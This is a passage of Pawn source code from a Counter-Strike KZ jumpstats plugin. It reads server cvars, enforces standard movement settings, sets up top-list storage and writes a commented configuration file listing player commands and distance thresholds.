	uq_lj=get_pcvar_num(kz_uq_lj);	
	uq_cj=get_pcvar_num(kz_uq_cj);	
	uq_dcj=get_pcvar_num(kz_uq_dcj);	
	uq_mcj=get_pcvar_num(kz_uq_mcj);	
	uq_ladder=get_pcvar_num(kz_uq_ladder);	
	uq_ldbj=get_pcvar_num(kz_uq_ldbj);	
	uq_bj=get_pcvar_num(kz_uq_bj);	
	uq_sbj=get_pcvar_num(kz_uq_sbj);	
	uq_drbj=get_pcvar_num(kz_uq_drbj);	
	uq_drsbj=get_pcvar_num(kz_uq_drsbj);	
	uq_drcj=get_pcvar_num(kz_uq_drcj);	
	uq_wj=get_pcvar_num(kz_uq_wj);
	uq_dscj=get_pcvar_num(kz_uq_dscj);	
	uq_mscj=get_pcvar_num(kz_uq_mscj);
	uq_dropscj=get_pcvar_num(kz_uq_dropscj);
	uq_dropdscj=get_pcvar_num(kz_uq_dropdscj);
	uq_dropmscj=get_pcvar_num(kz_uq_dropmscj);
	uq_duckbhop=get_pcvar_num(kz_uq_duckbhop);
	uq_bhopinduck=get_pcvar_num(kz_uq_bhopinduck);
	uq_realldbhop=get_pcvar_num(kz_uq_realldbhop);
	uq_upbj=get_pcvar_num(kz_uq_upbj);
	uq_upbhopinduck=get_pcvar_num(kz_uq_upbhopinduck);
	uq_upsbj=get_pcvar_num(kz_uq_upsbj);
	uq_multibhop=get_pcvar_num(kz_uq_multibhop);
	uq_dropdcj=get_pcvar_num(kz_uq_dropdcj);
	uq_dropmcj=get_pcvar_num(kz_uq_dropmcj);
	dcj_god_dist=get_pcvar_num(kz_god_dcj);
	dcj_leet_dist=get_pcvar_num(kz_leet_dcj);
	dcj_holy_dist=get_pcvar_num(kz_holy_dcj);
	dcj_pro_dist=get_pcvar_num(kz_pro_dcj);
	dcj_good_dist=get_pcvar_num(kz_good_dcj);
	lj_god_dist=get_pcvar_num(kz_god_lj);
	lj_leet_dist=get_pcvar_num(kz_leet_lj);
	lj_holy_dist=get_pcvar_num(kz_holy_lj);
	lj_pro_dist=get_pcvar_num(kz_pro_lj);
	lj_good_dist=get_pcvar_num(kz_good_lj);
	ladder_god_dist=get_pcvar_num(kz_god_ladder);
	ladder_leet_dist=get_pcvar_num(kz_leet_ladder);
	ladder_holy_dist=get_pcvar_num(kz_holy_ladder);
	ladder_pro_dist=get_pcvar_num(kz_pro_ladder);
	ladder_good_dist=get_pcvar_num(kz_good_ladder);
	wj_god_dist=get_pcvar_num(kz_god_wj);
	wj_leet_dist=get_pcvar_num(kz_leet_wj);
	wj_holy_dist=get_pcvar_num(kz_holy_wj);
	wj_pro_dist=get_pcvar_num(kz_pro_wj);
	wj_good_dist=get_pcvar_num(kz_good_wj);
	bj_god_dist=get_pcvar_num(kz_god_bj);
	bj_leet_dist=get_pcvar_num(kz_leet_bj);
	bj_holy_dist=get_pcvar_num(kz_holy_bj);
	bj_pro_dist=get_pcvar_num(kz_pro_bj);
	bj_good_dist=get_pcvar_num(kz_good_bj);
	cj_god_dist=get_pcvar_num(kz_god_cj);
	cj_leet_dist=get_pcvar_num(kz_leet_cj);
	cj_holy_dist=get_pcvar_num(kz_holy_cj);
	cj_pro_dist=get_pcvar_num(kz_pro_cj);
	cj_good_dist=get_pcvar_num(kz_good_cj);
	dbj_god_dist=get_pcvar_num(kz_god_dbj);
	dbj_leet_dist=get_pcvar_num(kz_leet_dbj);
	dbj_holy_dist=get_pcvar_num(kz_holy_dbj);
	dbj_pro_dist=get_pcvar_num(kz_pro_dbj);
	dbj_good_dist=get_pcvar_num(kz_good_dbj);	
	scj_god_dist=get_pcvar_num(kz_god_scj);
	scj_leet_dist=get_pcvar_num(kz_leet_scj);
	scj_holy_dist=get_pcvar_num(kz_holy_scj);
	scj_pro_dist=get_pcvar_num(kz_pro_scj);
	scj_good_dist=get_pcvar_num(kz_good_scj);		
	dropscj_god_dist=get_pcvar_num(kz_god_dropscj);
	dropscj_leet_dist=get_pcvar_num(kz_leet_dropscj);
	dropscj_holy_dist=get_pcvar_num(kz_holy_dropscj);
	dropscj_pro_dist=get_pcvar_num(kz_pro_dropscj);
	dropscj_good_dist=get_pcvar_num(kz_good_dropscj);
	bhopinduck_god_dist=get_pcvar_num(kz_god_bhopinduck);
	bhopinduck_leet_dist=get_pcvar_num(kz_leet_bhopinduck);
	bhopinduck_holy_dist=get_pcvar_num(kz_holy_bhopinduck);
	bhopinduck_pro_dist=get_pcvar_num(kz_pro_bhopinduck);
	bhopinduck_good_dist=get_pcvar_num(kz_good_bhopinduck);
	upbj_god_dist=get_pcvar_num(kz_god_upbj);
	upbj_leet_dist=get_pcvar_num(kz_leet_upbj);
	upbj_holy_dist=get_pcvar_num(kz_holy_upbj);
	upbj_pro_dist=get_pcvar_num(kz_pro_upbj);
	upbj_good_dist=get_pcvar_num(kz_good_upbj);
	upsbj_god_dist=get_pcvar_num(kz_god_upsbj);
	upsbj_leet_dist=get_pcvar_num(kz_leet_upsbj);
	upsbj_holy_dist=get_pcvar_num(kz_holy_upsbj);
	upsbj_pro_dist=get_pcvar_num(kz_pro_upsbj);
	upsbj_good_dist=get_pcvar_num(kz_good_upsbj);
	real_god_dist=get_pcvar_num(kz_god_real);
	real_leet_dist=get_pcvar_num(kz_leet_real);
	real_holy_dist=get_pcvar_num(kz_holy_real);
	real_pro_dist=get_pcvar_num(kz_pro_real);
	real_good_dist=get_pcvar_num(kz_good_real);
	duckbhop_god_dist=get_pcvar_num(kz_god_duckbhop);
	duckbhop_leet_dist=get_pcvar_num(kz_leet_duckbhop);
	duckbhop_holy_dist=get_pcvar_num(kz_holy_duckbhop);
	duckbhop_pro_dist=get_pcvar_num(kz_pro_duckbhop);
	duckbhop_good_dist=get_pcvar_num(kz_good_duckbhop);
	leg_settings=get_pcvar_num(kz_legal_settings);	
	uq_airaccel=get_pcvar_num( kz_airaccelerate );
	min_distance=get_pcvar_num(kz_min_dcj);
	min_distance_other=get_pcvar_num(kz_uq_min_other);
	max_distance=get_pcvar_num(MAX_DISTANCE);
	uq_sounds=get_pcvar_num(kz_sounds);
	uq_light=get_pcvar_num( kz_uq_light);
	uq_screen=get_pcvar_num(screenshoot);
	uq_info=get_pcvar_num(allow_info);
	uq_fps=get_pcvar_num(kz_uq_fps);
	speed_r=get_pcvar_num(kz_speed_r);
	speed_g=get_pcvar_num(kz_speed_g);
	speed_b=get_pcvar_num(kz_speed_b);
	speed_x=get_pcvar_float(kz_speed_x);
	speed_y=get_pcvar_float(kz_speed_y);
	h_speed=get_pcvar_num(hud_speed);
	kz_top=get_pcvar_num(kz_uq_top);
	kz_extras=get_pcvar_num(kz_uq_extras);
	kz_weapon=get_pcvar_num(weapon_top);
	kz_block_top=get_pcvar_num(kz_uq_block_top);
	kz_map_top=get_pcvar_num(kz_uq_maptop);
	kz_wpn_block_top=get_pcvar_num(weapon_block_top);
	get_pcvar_string(kz_prefix, prefix, 63);
	uq_bug=get_pcvar_num(kz_uq_bug);
	uq_noslow=get_pcvar_num(kz_uq_noslow);
	uq_admins=get_pcvar_num(kz_uq_admins);
	uq_script_detection=get_pcvar_num(kz_uq_script_detection);
	uq_update_auth=get_pcvar_num(kz_uq_update_auth);
	uq_script_notify=get_pcvar_num(kz_uq_script_notify);
	uq_script_punishment=get_pcvar_num(kz_uq_script_punishment);
	uq_script_work=get_pcvar_num(kz_uq_script_work);
	uq_ban_authid=get_pcvar_num(kz_uq_ban_authid);
	uq_ban_type=get_pcvar_num(kz_uq_ban_type);
	uq_ban_minutes=get_pcvar_num(kz_uq_ban_minutes); 
	uq_block_chat_min=get_pcvar_num(kz_uq_block_chat_min); 
	uq_block_chat_show=get_pcvar_num(kz_uq_block_chat_show); 
	uq_speed_allteam=get_pcvar_num(kz_uq_speed_allteam);
	//uq_edgefriction=get_pcvar_num(edgefriction);
	//uq_mp_footsteps=get_pcvar_num(mp_footsteps);
	//uq_sv_cheats=get_pcvar_num(sv_cheats);
	//uq_sv_gravity=get_pcvar_num(sv_gravity);
	//uq_sv_airaccelerate=get_pcvar_num(sv_airaccelerate);
	//uq_sv_maxspeed=get_pcvar_num(sv_maxspeed);
	//uq_sv_stepsize=get_pcvar_num(sv_stepsize);
	//uq_sv_maxvelocity=get_pcvar_num(sv_maxvelocity);
	
	if(!file_exists(cvarfiles))
	{
		kz_make_cvarexec(cvarfiles);
	}
	
	new plugin_id=find_plugin_byfile("uq_jumpstats_tops.amxx");
	new filename[33],plugin_name[33],plugin_author[33],status[33];
	
	if(plugin_id==-1)
	{
		log_amx("Can't find uq_jumpstats_tops.amxx");
		server_print("[uq_jumpstats] Can't find uq_jumpstats_tops.amxx");
	}
	else
	{
		get_plugin(plugin_id,filename,32,plugin_name,32,plugin_ver,32,plugin_author,32,status,32); 
		
		if(!equali(plugin_ver,VERSION))
		{
			set_task(5.0,"Wrong_ver");
		}
	}

	if( leg_settings )
	{
		set_cvar_string("edgefriction", "2");
		set_cvar_string("mp_footsteps", "1");
		set_cvar_string("sv_cheats", "0");
		set_cvar_string("sv_gravity", "800");
		
		if(uq_airaccel==0 || uq_airaccel==10)
			set_cvar_string("sv_airaccelerate", "10");
		else if(uq_airaccel==1 || uq_airaccel==100)
			set_cvar_string("sv_airaccelerate", "100");
		else 
		{
			new str[10];
			num_to_str(uq_airaccel,str,9);
			set_cvar_string("sv_airaccelerate", str);
		}
		
		set_cvar_string("sv_maxspeed", "320");
		set_cvar_string("sv_stepsize", "18");
		set_cvar_string("sv_maxvelocity", "2000");
	}

	new dataDir[64];
	get_datadir(dataDir, 63);
	format(ljsDir, 63, "%s/Topljs", dataDir);
		
	if( !dir_exists(ljsDir) )
		mkdir(ljsDir);
			
	if(kz_sql==1)
	{
		set_task(0.2, "stats_sql");
		set_task(1.0, "save_info_sql");
		JumpPlayers = TrieCreate();
	}
	else if(kz_sql==0)
	{
		JData = TrieCreate();
		JData_Block = TrieCreate();
		
		format(ljsDir_block, 63, "%s/Topljs/block_tops", dataDir);
			
		if( !dir_exists(ljsDir_block) )
			mkdir(ljsDir_block);
			
		for(new i=0;i<NTECHNUM;i++)
		{
			read_tops(Type_List[i],i);
			read_tops_block(Type_List[i],i);
		}
			
		for(new j=0;j<8;j++)
		{
			new mxspd[11];
			num_to_str(weapon_maxspeed(j),mxspd,10);
			
			format(ljsDir_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir,mxspd);
			format(ljsDir_block_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir_block,mxspd);
			
			if( !dir_exists(ljsDir_weapon[j]) )
				mkdir(ljsDir_weapon[j]);
			if( !dir_exists(ljsDir_block_weapon[j]) )
				mkdir(ljsDir_block_weapon[j]);
				
			for(new i=0;i<NWPNTECHNUM;i++)
			{
				read_tops_weapon(Type_List_weapon[i],i,j);
				read_tops_block_weapon(Type_List_weapon[i],i,j);
			}
			read_tops_block_weapon("hj",9,j);	
		}
	}	
}
public Wrong_ver()
{
	for(new i=1;i<get_maxplayers();i++)
	{
		if(is_user_alive(i) && is_user_connected(i))
			ColorChat(i, BLUE, "^x04Version^x03 uq_jumpstats.amxx^x01(%s)^x04 different from^x03 uq_jumpstats_tops.amxx^x01(%s)",VERSION,plugin_ver);
	}
	set_task(5.0,"Wrong_ver");
}

#include <uq_jumpstats_sql.inc>

public plugin_precache()
{
	gBeam = precache_model( "sprites/zbeam6.spr" );
	precache_sound( "misc/impressive.wav" );
	precache_sound( "misc/perfect.wav" );
	precache_sound( "misc/mod_godlike.wav" );
	precache_sound( "misc/holyshit.wav" );
	precache_sound( "misc/mod_wickedsick.wav" );
	
	
	precache_model( "models/hairt.mdl" );
	heystats = precache_model( "sprites/zbeam6.spr" );
}

stock kz_make_cvarexec(const config[])
{
	new f = fopen(config, "wt");
	new stringscvars[256],s_host[101],s_pass[101],s_user[101],s_db[101];
	new s_x[10],s_y[10];
	
	fprintf(f, "// Config of JumpStats by BorJomi^n");
	fprintf(f, "// Version %s^n",VERSION);
	fprintf(f, "^n");
	
	fprintf(f, "// Players commands^n");
	fprintf(f, "^n");
	fprintf(f, "// say /strafes - on/off statistics Strafes^n"); 
	fprintf(f, "// say /showpre - on/off display prestrafe^n"); 
	fprintf(f, "// say /ducks - on/off statistics ducks for multi cj^n"); 
	fprintf(f, "// say /ljstats - on/off the main statistics^n"); 
	fprintf(f, "// say /uqversion - show version^n"); 
	fprintf(f, "// say /beam - on/off showing the trajectory of the jump^n"); 
	fprintf(f, "// say /speed - on/off display of speed player^n"); 
	fprintf(f, "// say /colorchat - on/off display of color in the chat messages from other players^n"); 
	fprintf(f, "// say /ljsmenu - open the configuration menu^n"); 
	fprintf(f, "// say /ljtop - open TOP10 menu^n");
	fprintf(f, "// say /bhopwarn - on/off show message when you bhop prestrafe is fail^n");
	fprintf(f, "// say /multibhop - on/off show multi bhop pre^n");
	fprintf(f, "// say /duckspre - on/off display prestrafe after each duck^n");
	fprintf(f, "// say /ljpre - on/off display prestrafe for LJ^n");
	fprintf(f, "// say /failedge - on/off display jumpoff wehn failed without bolock^n");
	fprintf(f, "// say /edge - on/off display jumpoff,block,landing^n");
	fprintf(f, "// say /heigh - on/off display heigh^n");
	fprintf(f, "// say /mylj - on/off myljtop menu^n");
	fprintf(f, "// say /wpnlj - on/off weapon top menu^n");
	fprintf(f, "// say /jof - on/off showing Jumpoff when press jump button^n");
	fprintf(f, "// say /joftr - on/off Jumpoff trainer^n");
	fprintf(f, "// say /blocktop - on/off block tops menu^n");
	fprintf(f, "// say /jheigh - on/off showing jump heigh^n");
	fprintf(f, "// say /istrafe - on/off InGame strafe stats^n");
	fprintf(f, "// say /speedt - Big/Small Speed Type^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Admin command^n");
	fprintf(f, "^n");
	fprintf(f, "// amx_reset_uqtops – reset all tops^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Cvars^n");
	fprintf(f, "^n");
	fprintf(f, "// What should work when players connect to the server:^n");
	fprintf(f, "// 	0 = none^n"); 
	fprintf(f, "// 	a = colorchat^n"); 
	fprintf(f, "// 	b = stats^n"); 
	fprintf(f, "// 	c = speed^n"); 
	fprintf(f, "// 	d = showpre^n"); 
	fprintf(f, "// 	e = strafe stats^n"); 
	fprintf(f, "// 	f = beam^n"); 
	fprintf(f, "// 	g = duck stats for mcj^n"); 
	fprintf(f, "// 	h = shows message when your bhop prestrafe is failed^n");
	fprintf(f, "// 	i = show multibhop pre^n");
	fprintf(f, "// 	j = show prestrafe after duck^n");
	fprintf(f, "// 	k = show lj prestrafe^n");
	fprintf(f, "// 	l = show edge^n");
	fprintf(f, "// 	m = show edge when fail (without block)^n");
	fprintf(f, "// 	n = enable sounds^n");
	fprintf(f, "// 	o = enable InGame strafe stats^n");
	
	get_pcvar_string(kz_uq_connect, stringscvars, 255);
	
	fprintf(f, "kz_uq_connect ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance^n");
	fprintf(f, "kz_uq_min_dist %i^n", min_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance (Ups bhop, MultiBhop, Real Ladder Bhop, Ducks Bhop, Ladder Jump)^n");
	fprintf(f, "kz_uq_min_dist_other %i^n", min_distance_other);
	fprintf(f, "^n");
	
	fprintf(f, "// Max distance^n");
	fprintf(f, "kz_uq_max_dist %i^n", max_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Showing info about block in ColorChat messages^n");
	fprintf(f, "kz_uq_block_chat_show %i^n", uq_block_chat_show);
	fprintf(f, "kz_uq_block_chat_min %i - minimum block to show (block more then 0=good,1=pro,2=holy,3=leet,4=god distance cvars)^n", uq_block_chat_min);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for admins only^n");
	fprintf(f, "kz_uq_only_admins %i^n", uq_admins);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for team (0=all,1=T,2=CT)^n");
	fprintf(f, "kz_uq_team %i^n", uq_team);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable cmd /speed for all team^n");
	fprintf(f, "kz_uq_speed_allteam %i^n", uq_speed_allteam);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow highlighting after landing (1 = on, 0 = off; works for holy, leet and god distances)^n");
	fprintf(f, "kz_uq_light %i^n", uq_light);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow sounds (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_sounds %i^n",uq_sounds);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow doing ScreenShot if Player going in Top (not work with kz_uq_sql <1> and for map top)^n");
	fprintf(f, "kz_uq_screenshoot %i^n",uq_screen);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow showing info about stats when you record demo^n");
	fprintf(f, "kz_uq_demo_info %i^n",uq_info);
	fprintf(f, "^n");

	fprintf(f, "// How work Sql Module (1=SQL module enable, 0=disable)^n");
	fprintf(f, "kz_uq_sql %i^n",kz_sql);
	fprintf(f, "^n");

	fprintf(f, "// Enable/Disable Web Top (1=Enable,0=Disable) - if you want standart tops with sql module, turn of web mod^n");
	fprintf(f, "kz_uq_web %i^n",web_sql);
	fprintf(f, "^n");
	
	get_pcvar_string(uq_host, s_host, 100);
	get_pcvar_string(uq_user, s_user, 100);
	get_pcvar_string(uq_pass, s_pass, 100);
	get_pcvar_string(uq_db, s_db, 100);
	
	fprintf(f, "// Options for Sql Module^n");
	fprintf(f, "kz_uq_host ^"%s^"^n",s_host);
	fprintf(f, "kz_uq_user ^"%s^"^n",s_user);
	fprintf(f, "kz_uq_pass ^"%s^"^n",s_pass);
	fprintf(f, "kz_uq_db ^"%s^"^n",s_db);
	fprintf(f, "// This Option used only in Showing Top(sql), change this if you use another url on you web server^n");
	get_pcvar_string(kz_uq_url, stringscvars, 255);
	fprintf(f, "kz_uq_url ^"%s^"^n",stringscvars);
	fprintf(f, "kz_uq_update_auth %i - Update in DB Steam and Ip^n",uq_update_auth);
	fprintf(f, "^n");
		
	fprintf(f, "// How to save Top10 (2 = steamid, 1 = Ip, 0 = name)^n");
	fprintf(f, "kz_uq_top_by %i^n",rankby);
	fprintf(f, "^n");
	
	fprintf(f, "kz_uq_save_top %i - On/Off TOP10 (1 = on, 0 = off)^n",kz_top);  
	fprintf(f, "kz_uq_maptop %i  - On/Off MapTop (1 = on, 0 = off)^n",kz_map_top);
	fprintf(f, "kz_uq_save_extras_top %i  - On/Off Extra Tops (1 = on, 0 = off)^n",kz_extras);
	fprintf(f, "kz_uq_weapons_top %i  - On/Off Weapon Tops (1 = on, 0 = off)^n",kz_weapon);	
	fprintf(f, "kz_uq_block_top %i  - On/Off Block Tops (1 = on, 0 = off)^n",kz_block_top);	
	fprintf(f, "kz_uq_block_weapons %i  - On/Off Block Tops for other weapons (1 = on, 0 = off)^n",kz_wpn_block_top);	
	fprintf(f, "^n");
	
	fprintf(f, "// Allow check to legal settings (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_legal_settings %i^n",leg_settings);
	fprintf(f, "kz_uq_fps %i - (1=more than 100 FPS jump does not count, 0=count)^n",uq_fps); 
	fprintf(f, "kz_uq_bug_check %i - Allow checking for bug distance^n",uq_bug);
	fprintf(f, "^n");
	
	fprintf(f, "// Anti script(Beta)^n");
	fprintf(f, "kz_uq_script_detection %i^n",uq_script_detection);
	fprintf(f, "kz_uq_script_work %i - antiscript works if player distance more then (0=good,1=pro,2=holy,3=leet,4=god distance)^n",uq_script_work);
	fprintf(f, "kz_uq_script_notify %i - print messages to all people on server with scripter name^n",uq_script_notify);
	fprintf(f, "kz_uq_script_punishment %i - (0=nothing,1=kick,2=ban)^n",uq_script_punishment);
	fprintf(f, "kz_uq_ban_type %i - (0=standart bans, 1=amxbans)^n",uq_ban_type);
	fprintf(f, "kz_uq_ban_minutes %i - ban time in minutes^n",uq_ban_minutes);
	fprintf(f, "kz_uq_ban_authid %i - (ban by 0=name,1=ip,2=steam)^n",uq_ban_authid);
	fprintf(f, "^n");

	get_pcvar_string(kz_prefix, stringscvars, 255);
	
	fprintf(f, "// The prefix for all messages in chat^n"); 
	fprintf(f, "kz_uq_prefix ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// How to set up a server by value sv_airaccelerate (Varible=xx, but var=0 reserved for 10aa, var=1 for 100aa)^n");
	fprintf(f, "kz_uq_airaccelerate %i^n",uq_airaccel);
	fprintf(f, "^n");
	
	fprintf(f, "// On/Off Showing stats with noslowdown^n");
	fprintf(f, "kz_uq_noslowdown %i^n",uq_noslow);
	fprintf(f, "^n");
	
	fprintf(f, "// Max strafes (if players strafes>Max, stats doesnt shows)^n");
	fprintf(f, "kz_uq_max_strafes %i^n",NSTRAFES1);
	fprintf(f, "^n");

	fprintf(f, "// Allow InGame Strafe Stats (laggy feature)^n");
	fprintf(f, "kz_uq_istrafes %i^n",uq_istrafe);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud message statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_stats_red %i^n",stats_r);	
	fprintf(f, "kz_uq_stats_green %i^n",stats_g);
	fprintf(f, "kz_uq_stats_blue %i^n",stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages Fail statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_failstats_red %i^n",f_stats_r);		
	fprintf(f, "kz_uq_failstats_green %i^n",f_stats_g);
	fprintf(f, "kz_uq_failstats_blue %i^n",f_stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages prestrafe, in the RGB^n");
	fprintf(f, "kz_uq_prestrafe_red %i^n",prest_r);	
	fprintf(f, "kz_uq_prestrafe_green %i^n",prest_g);
	fprintf(f, "kz_uq_prestrafe_blue %i^n",prest_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color of speed, in the RGB^n");
	fprintf(f, "kz_uq_speed_red %i^n",speed_r);		
	fprintf(f, "kz_uq_speed_green %i^n",speed_g);
	fprintf(f, "kz_uq_speed_blue %i^n",speed_b);
	fprintf(f, "^n");
	
	fprintf(f, "//Coordinates Hud messages^n");
	fprintf(f, "^n");
	fprintf(f, "//General stats jump^n");
	
	get_pcvar_string(kz_stats_x, s_x, 9);
	get_pcvar_string(kz_stats_y, s_y, 9);
	
	fprintf(f, "kz_uq_stats_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_stats_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Strafes Stats^n");
	
	get_pcvar_string(kz_strafe_x, s_x, 9);
	get_pcvar_string(kz_strafe_y, s_y, 9);
	
	fprintf(f, "kz_uq_strafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_strafe_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Ducks Stats for Multi dd^n");
	
	get_pcvar_string(kz_duck_x, s_x, 9);
	get_pcvar_string(kz_duck_y, s_y, 9);
	
	fprintf(f, "kz_uq_duck_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_duck_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Speed^n");
	
	get_pcvar_string(kz_speed_x, s_x, 9);
	get_pcvar_string(kz_speed_y, s_y, 9);
	
	fprintf(f, "kz_uq_speed_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_speed_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Prestrafe^n");
	
	get_pcvar_string(kz_prest_x, s_x, 9);
	get_pcvar_string(kz_prest_y, s_y, 9);
	
	fprintf(f, "kz_uq_prestrafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_prestrafe_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	
	fprintf(f, "// Channel Hud messages of general stats jump^n");
	fprintf(f, "kz_uq_hud_stats %i^n",h_stats);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of strafes Stats^n");
	fprintf(f, "kz_uq_hud_strafe %i^n",h_streif);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of ducks Stats for Multi CountJump^n");
	fprintf(f, "kz_uq_hud_duck %i^n",h_duck);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of speed^n");
	fprintf(f, "kz_uq_hud_speed %i^n",h_speed);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of prestafe^n");
	fprintf(f, "kz_uq_hud_pre %i^n",h_prest);
	fprintf(f, "^n");
	
	fprintf(f, "// For what technique stats enable^n");
	fprintf(f, "kz_uq_lj %i^n",uq_lj);	
	fprintf(f, "kz_uq_cj %i^n",uq_cj);	
	fprintf(f, "kz_uq_bj %i^n",uq_bj);	
	fprintf(f, "kz_uq_sbj %i^n",uq_sbj);	
	fprintf(f, "kz_uq_wj %i^n",uq_wj);	
	fprintf(f, "kz_uq_dcj %i^n",uq_dcj);	
	fprintf(f, "kz_uq_mcj %i^n",uq_mcj);	
	fprintf(f, "kz_uq_drbj %i^n",uq_drbj);		
	fprintf(f, "kz_uq_drcj %i^n",uq_drcj);	
	fprintf(f, "kz_uq_ladder %i^n",uq_ladder);	
	fprintf(f, "kz_uq_ldbj %i^n",uq_ldbj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Max,Min block to show in edge^n");
	fprintf(f, "kz_uq_max_block %i^n",uq_maxedge);	
	fprintf(f, "kz_uq_min_block %i^n",uq_minedge);	
	fprintf(f, "^n");
	
	fprintf(f, "// Minimum Prestrafe to show^n");
	fprintf(f, "kz_uq_min_pre %i^n",uq_min_pre);		
	fprintf(f, "^n");
	
	fprintf(f, "// For what Extra technique stats enable^n");
	fprintf(f, "kz_uq_scj %i^n",uq_drsbj);
	fprintf(f, "kz_uq_dscj %i^n",uq_dscj);	
	fprintf(f, "kz_uq_mscj %i^n",uq_mscj);	
	fprintf(f, "kz_uq_dropscj %i^n",uq_dropscj);	
	fprintf(f, "kz_uq_dropdscj %i^n",uq_dropdscj);	
	fprintf(f, "kz_uq_dropmscj %i^n",uq_dropmscj);	
	fprintf(f, "kz_uq_duckbhop %i^n",uq_duckbhop);	
	fprintf(f, "kz_uq_bhopinduck %i^n",uq_bhopinduck);	
	fprintf(f, "kz_uq_realldbhop %i^n",uq_realldbhop);	
	fprintf(f, "kz_uq_upbj %i^n",uq_upbj);	
	fprintf(f, "kz_uq_upsbj %i^n",uq_upsbj);	
	fprintf(f, "kz_uq_upbhopinduck %i^n",uq_upbhopinduck);	
	fprintf(f, "kz_uq_multibhop %i^n",uq_multibhop);
	fprintf(f, "kz_uq_dropdcj %i^n",uq_dropdcj);	
	fprintf(f, "kz_uq_dropmcj %i^n",uq_dropmcj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Color for chat messages of jump distances (good = grey, pro = green, holy = blue, leet = red, god = red (with sound godlike for all players))^n");
	fprintf(f, "// LongJump/HighJump^n");
	fprintf(f, "kz_uq_good_lj %i^n",lj_good_dist);	
	fprintf(f, "kz_uq_pro_lj %i^n",lj_pro_dist);
	fprintf(f, "kz_uq_holy_lj %i^n",lj_holy_dist);
	fprintf(f, "kz_uq_leet_lj %i^n",lj_leet_dist);
	fprintf(f, "kz_uq_god_lj %i^n",lj_god_dist);
	fprintf(f, "^n");

	fprintf(f, "// CountJump^n");
	fprintf(f, "kz_uq_good_cj %i^n",cj_good_dist);	
	fprintf(f, "kz_uq_pro_cj %i^n",cj_pro_dist);
	fprintf(f, "kz_uq_holy_cj %i^n",cj_holy_dist);
	fprintf(f, "kz_uq_leet_cj %i^n",cj_leet_dist);
	fprintf(f, "kz_uq_god_cj %i^n",cj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Double CountJump/Multi CountJump^n");
	fprintf(f, "kz_uq_good_dcj %i^n",dcj_good_dist);	
	fprintf(f, "kz_uq_pro_dcj %i^n",dcj_pro_dist);
	fprintf(f, "kz_uq_holy_dcj %i^n",dcj_holy_dist);
	fprintf(f, "kz_uq_leet_dcj %i^n",dcj_leet_dist);
	fprintf(f, "kz_uq_god_dcj %i^n",dcj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// LadderJump^n");
	fprintf(f, "kz_uq_good_ladder %i^n",ladder_good_dist);	
	fprintf(f, "kz_uq_pro_ladder %i^n",ladder_pro_dist);
	fprintf(f, "kz_uq_holy_ladder %i^n",ladder_holy_dist);
	fprintf(f, "kz_uq_leet_ladder %i^n",ladder_leet_dist);
	fprintf(f, "kz_uq_god_ladder %i^n",ladder_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// BhopJump/StandUp BhopJump^n");
	fprintf(f, "kz_uq_good_bj %i^n",bj_good_dist);	
	fprintf(f, "kz_uq_pro_bj %i^n",bj_pro_dist);
	fprintf(f, "kz_uq_holy_bj %i^n",bj_holy_dist);
	fprintf(f, "kz_uq_leet_bj %i^n",bj_leet_dist);
	fprintf(f, "kz_uq_god_bj %i^n",bj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// WeirdJump/Drop CountJump(double,multi)/Ladder BhopJump^n");
	fprintf(f, "kz_uq_good_wj %i^n",wj_good_dist);	
	fprintf(f, "kz_uq_pro_wj %i^n",wj_pro_dist);
	fprintf(f, "kz_uq_holy_wj %i^n",wj_holy_dist);
	fprintf(f, "kz_uq_leet_wj %i^n",wj_leet_dist);
	fprintf(f, "kz_uq_god_wj %i^n",wj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop BhopJump^n");
	fprintf(f, "kz_uq_good_dbj %i^n",dbj_good_dist);	
	fprintf(f, "kz_uq_pro_dbj %i^n",dbj_pro_dist);
	fprintf(f, "kz_uq_holy_dbj %i^n",dbj_holy_dist);
	fprintf(f, "kz_uq_leet_dbj %i^n",dbj_leet_dist);
	fprintf(f, "kz_uq_god_dbj %i^n",dbj_god_dist);
	fprintf(f, "^n");
